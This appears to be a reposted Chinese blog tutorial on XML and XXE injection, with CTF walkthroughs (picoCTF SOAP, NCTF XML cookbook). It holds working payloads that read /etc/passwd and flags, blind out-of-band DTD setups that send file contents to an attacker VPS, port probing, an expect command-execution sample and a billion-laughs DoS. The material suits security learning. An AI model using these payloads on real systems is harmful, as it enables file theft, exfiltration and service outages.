简单XXE漏洞理解以及在实战中演练【网络安全】

news/2024/5/18 15:59:47/文章来源:https://blog.csdn.net/kali_Ma/article/details/129797592

1.概念

XXE(XML External Entity Injection) 全称为 XML 外部实体注入。这是一个注入漏洞,强调利用点是外部实体 ,将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维,如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。

2.语法

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构

3.结构

1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素

4.介绍一下XML文档

<?xml version="1.0"  encoding="utf-8" standalone="yes"?>
<!--第一行是XML声明-->
<!--这是XML处理指令的例子。处理指令以<?开始,以?>结束-->
<!--在<?后的第一个单词是处理指令名,在本例中是xml-->
<!--处理指令一定要顶格写,前面不能有任何空白--><students><GREETING><!--开始标记-->Hello World<!--元素内容--></GREETING><!--结束标记--><student  gender="male" isHandsome="true">                
<id>001</id>                
<name>zhangsan</name>
<address>Beijing</address>
<score>50</score>
</student><student gender="female">                
<id>002</id>                
<name>lisi</name>
<address>北京</address>
<score/><!--为空的简写形式-->
</student></students>

注:
文档注释用包围,不允许嵌套,允许多行注释。
XML里面的元素严格区分大小写
XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。)

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费领取

1、XML文档说明

  • 每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。
  • XML声明有version 、encoding和standalone特性。
  • version特性表明这个文档符合XML 1.0规范。
  • encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。
  • 像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。
  • 自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。
  • 如果属性值中有双引号则使用单引号,反之亦然。

属性的形式为:

  • **属性名= “属性值”,**比如gender=“male”。

  • 多个属性值之间用空格隔开(一个或多个空格都可以)。

  • 在一个元素上,相同的属性只能出现一次。

  • 属性值不能包含<, >, &。

2、实体

  • 实体叫ENTITY,实体的作用是避免重复输入。
  • 在XML中,有5个预定义的实体引用
    image.png

自定义实体语法:

<!DOCTYPE 根元素
<!ENTITY 实体名 "实体内容">
]>
引用已定义的实体:
&实体名;

3、处理指令PI

处理指令用于XML解析器传递信息到应用程序。

语法:<?目标 指令?>

PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。

4、CDATA节

用于把整段文本解释为纯字符数据而不是标记的情况。

包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。

语法:

<![CDATA[......
]]>

可以输入任意字符(除]]外),不能嵌套。

<?xml version="1.0" encoding="utf-8"?>
<root>
<![CDATA[<hello>
<world>这里放任何内容都是合法的]]> <subRoot></subRoot>
</root>

5、PCDATA节

PCDATA表示已解析的字符数据。

PCDATA的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何& < >字符;需要使用& < >实体来分别替换它们。

5.什么是DTD

DTD是XML文档的一个格式规范

exp:

//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<!DOCTYPE message [
#这个就是定义了一个根元素message<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
#这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序

6.DTD的三种应用形式:

1.内部DTD文档

<!DOCTYPE 根元素[定义内容]>exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

2.外部DTD文档

<!DOCTYPE 根元素 SYSTEM "DTD文件路径">exp:外部的DTD文档
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd">
<data>
<aaa>1<aaa>
<bbb>2<bbb>
<ccc>3<ccc>
</data>

3.内外部DTD文档结合

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]><pre>exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd" [
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

7.DTD元素

image.png

8.DTD实体

内部实体

<!ENTITY 实体名称 "实体的值">一个实体由三部分构成:`&`符号, 一个实体名称, 以及一个分号`(;)`exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "hello">]>
<foo>&xxe;</foo>这里定义的实体是xxe,实体的值是hello

外部实体

<!ENTITY 实体名称 SYSTEM "URL">

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

image.png

参数实体

<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>外部evil.dtd的内容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

9.利用XXE攻击

image.png

读取任意文件

有回显

我们结合具体题目来分析。

例题:

1.picoctf2023 SOAP

题目提示我们要看系统配置文件/etc/passwd

有三个按钮,都点了一下没有东西

看一下源码,源码有一个xml的js文件看一下

image.png


window.contentType = 'application/xml';function payload(data) {var xml = '<?xml version="1.0" encoding="UTF-8"?>';xml += '<data>';for(var pair of data.entries()) {var key = pair[0];var value = pair[1];xml += '<' + key + '>' + value + '</' + key + '>';}xml += '</data>';return xml;
}

这里有一个XML文档说明

以及说明了XML的根元素为data

抓一下包看一下

image.png

这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西)

构造我们的payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd"
]>
<data>
<ID>
2&xxe;
</ID>
</data>

发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在

参考Content-Type 详解

改为application/xml,发现成功得到flag

image.png

2.[NCTF 2019]Fake XML cookbook

随便测试一下,发现通过报错信息回显

image.png

查看一下源码

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}</pre>这里给出了我们DTD,我们根据DTD进行构造payload即可<pre xml:lang="xml" lang="xml"><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [     #根据给出的DTD,可知根元素是data
<!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>

成功回显

image.png

尝试直接读取flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>

3.[NCTF 2019]True XML cookbook

跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE

就感觉有可能是内网探测

利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1

尝试爆破端口,我爆破到10000多也没有什么信息,

之后查看内网存活主机/etc/hosts

image.png

发现有一台存活主机

直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag

image.png

无回显

也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值

(需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件)

方案一:

在自己的VPS上创建一个test.php

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

再创建一个index.php

\<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>

再创建一个test.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">

当访问http://vps-ip/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

方案二

可以将文件内容发送到远程服务器,然后读取。

exp:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

然后在自己的VPS上创建一个evil.xml,内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

用来获取用户的配置文件

方案三

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip.

exp:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。下面是具体的代码实现

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://VPS-IP/?%file;’>”
>
%all;

如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果

没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据

方案四

其实跟方案四差不多,但是可以利用监听VPS端口来获取信息

方法是在自己的VPS上创建一个evil.dtd

exp:
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://VPS-IP:3333/%file;'> ">
%dtd;
%xxe;

之后再根据题目的要求,上传一个payload

exp:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">
%aaa;
]>
<root>66666</root>

之后在自己的VPS上监听3333端口就行

python -m http.server 3333
#前提是自己的VPS需要配置好http服务

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

探测端口

适用于有回显和blind xxe,是外部一般实体

exp:
<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY contentSYSTEM "http://10.165.89.150:88">]><name>&content;</name>

根据响应时间判断:(看BP右下角的响应时间)

开放端口,响应时间为16millis

未开放端口,延迟反应1047millis

DOS攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_276977.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于springboot实现留守儿童爱心网站平台【源码+论文】分享

基于springboot实现留守儿童爱心网站演示开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&…

CS-Stdio Display Builder

Display Builder 1) 操作界面编辑器和Runtime 2&#xff09;在EPICS edd/dm, medm, edm, ...想法上构建 3&#xff09;与CS-Studio BOY兼容性非常好 4&#xff09;大约2015年在CS-Stdio/Eclipse中开始&#xff0c;现在在CS-Studio/Phoebus中 5) 从209年以Web Runtime获取。…

UG/NX二次开发实例流程样例(nx1980+vs2019)

接上一篇文章《UG/NX二次开发环境配置方法(nx1980vs2019)》&#xff0c;这一篇文章我们将详细讲述&#xff0c;如何开发一个具体的功能——根据用户输入的数据&#xff0c;在原点处创建一个指定大小的立方体。 由于本功能还涉及到nx的一些基本操作&#xff0c;所以这里先讲一下…

HTB-Stocker

HTB-Stocker信息收集开机提权信息收集 先看80端口。 没有让人眼前一亮的目录。 但是有子域名。 子域名是一个登录功能。 对其进行简单的sql注入测试&#xff0c;发现并不存在sql注入&#xff0c;尝试非sql注入方法绕过登录&#xff0c;NoSQL。经过测试&#xff0c;使用json格式…

【分布式】分布式锁

目录一、分布式锁介绍二、基于 Redis 实现分布式锁1. 如何基于 Redis 实现一个最简易的分布式锁&#xff1f;2.为什么要给锁设置一个过期时间&#xff1f;3. 如何实现锁的优雅续期&#xff1f;4. 如何实现可重入锁&#xff1f;一、分布式锁介绍 单机多线程&#xff1a; 在 Jav…

整理alacritty使用笔记

github&#xff1a; https://github.com/alacritty/alacritty features&#xff1a; https://github.com/alacritty/alacritty/blob/master/docs/features.md features&#xff08;中文&#xff09;&#xff1a; https://gitcode.gitcode.host/docs-cn/alacritty-docs-cn/docs/…

js宏编程--wps开放平台介绍

在上篇《初识Excel的JS环境WPS宏编程》中提到&#xff0c;JS宏编程有2个比较好的参考资料&#xff0c;一个是官方的WPS开发平台介绍&#xff0c;另一个则是ES6教程&#xff0c;本文就WPS开发平台关于JS宏编程的重点做一个概要性的介绍。 1、客户端开发 进入开发平台后&#xf…

要和文心一言来一把你画我猜吗?

想和文心一言来一把你画我猜吗&#xff1f; ChatGPT的爆火&#xff0c;让AI对话模型再次走入大众视野。大家在感叹ChatGPT的智能程度时&#xff0c;总会忍不住想&#xff1a;如果我们也有自己的AI对话模型就好了。在社会的压力下&#xff0c;国内的厂商和研究机构也纷纷做出尝试…

通过小三越位,彻底弄懂 https 原理本质(三)加密漏洞

一、https加密&#x1f510;过程&#xff0c;上期知识回顾 小明&#x1f466;和小花&#x1f467;为了安全高效的发情书&#xff0c;采用对称加密方式。聪明的老王&#x1f436;盗取对称加密的密钥S&#x1f511; 。小明&#x1f466;想到了非对称加密方式&#xff0c;于是就生…

Grainger 固安捷 EDI 需求分析

Grainger 固安捷是全球领先的设备维护、修理和MRO工业品分销商&#xff0c;成立于1927年&#xff0c;由威廉W格兰杰&#xff08;William W. Grainger &#xff09;在芝加哥创立。他创建这家公司的目的是为了让消费者能够获得稳定的电机供应。Grainger 固安捷的经营范围包括维修…

熟练Redis之无处不在的锁

为了保证并发访问的正确性&#xff0c;Redis提供了两种方法,分别是加锁和原子操作 Redis加锁两个问题:一个是&#xff0c;如果加锁操作多&#xff0c;会降低系统的并发访问性能;第二个是&#xff0c;Redis客户端要加锁时&#xff0c;需要用到分布式锁&#xff0c;而分布式锁实…

【从零开始】力扣刷题(2)

前言 我根据这里的表单开始刷力扣 数组的改变移动 453.最小操作次数使元素相等 写了一个但超过时间限制&#xff0c;碰到[1,100000000]就超出时间限制了,就不错误示范了。 看了一个评论&#xff0c;拍案叫绝。 665.非递减数列 想了一天&#xff0c;看了很多解答&#xff0…

Spark SQL实战(04)-API编程之DataFrame

1 SparkSession Spark Core: SparkContext Spark SQL: 难道就没有SparkContext&#xff1f; 2.x之后统一的 package com.javaedge.bigdata.chapter04import org.apache.spark.sql.{DataFrame, SparkSession}object SparkSessionApp {def main(args: Array[String]): Unit …

详解LinkedHashSet和LinkedHashMap

目录 一.LinkedHashSet和LinkedHashMap 1.基本介绍 2.与HashSet和HashMap的区别 3.LinkedHashSet和LinkedHashMap具体的方法 1.LinkedHashSet 2.LinkedHashMap 二.模拟代码实现LinkedHashMap 三.具体应用 一.LinkedHashSet和LinkedHashMap 1.基本介绍 顾名思义,根据名…

三维重建方法总结

三维重建方法总结1. 简介1.1 传统的三维重建算法1.2 三维重建领域主要的数据格式2. 主流重建方法2.1 基于双目/多目视觉2.2 基于消费级RGB-D相机2.3 基于深度学习的三维重建算法2.3.1 在传统三维重建算法中引入深度学习方法进行改进2.3.2 深度学习重建算法和传统三维重建算法进…

苹果发布智能穿戴新专利,苹果Find My技术使防丢更智能

根据美国商标和专利局&#xff08;USPTO&#xff09;公示的清单&#xff0c;苹果近日获得了一项新的专利&#xff0c;可以借助 iPhone、Apple Watch 等多款苹果设备&#xff0c;来扫描你的体型&#xff0c;检测是否存在偏胖等其它健康问题。 苹果在专利中表示想要确定人体的体…

【显卡】一文搞懂显卡

【显卡】一文搞懂显卡 文章目录【显卡】一文搞懂显卡1. 前言介绍1.1 CPU和显卡的区别1.1.1 作用不同1.1.2 结构不同1.1.3 应用场景不同1.2 三个著名的显卡公司2. 显卡的工作原理3. 显卡的分类3.1 集成显卡3.2 独立显卡3.3 核芯显卡4. 结构 & 总线接口类型4.1 显卡的结构4.2…

Python3 File isatty() 、os.chflags()方法

Python3 File isatty() 方法Python3 File(文件) 方法概述isatty() 方法检测文件是否连接到一个终端设备&#xff0c;如果是返回 True&#xff0c;否则返回 False。语法isatty() 方法语法如下&#xff1a;fileObject.isatty(); 参数无返回值如果连接到一个终端设备返回 True&…

谷粒商城笔记+踩坑(10)——商城首页和Nginx反向代理,thymeleaf+动态展示三级分类

目录 1、商城系统简介 2、模板技术 2.1、介绍 2.2、模板技术与前端框架的区别 3、整合thymeleaf渲染商城首页 3.1、环境准备 3.1.1、【商品模块】导入thymeleaf和热部署依赖 3.1.2、静态资源添加到商品模块 3.1.3、controller包改名为app、新增web包 3.1.4、yml关…

(笔记)美联储加息如何影响到中国资本市场

&#xff08;注&#xff1a;本文只是将百度的所有结果串联起来&#xff0c;并非专业分析。&#xff09; 美联储加息是指上调联邦基金利率&#xff0c;即美国银行同业拆借市场的利率&#xff0c;所谓银行同业拆借是指银行在遇上资金问题时&#xff0c;可以向其他银行借钱周转&a…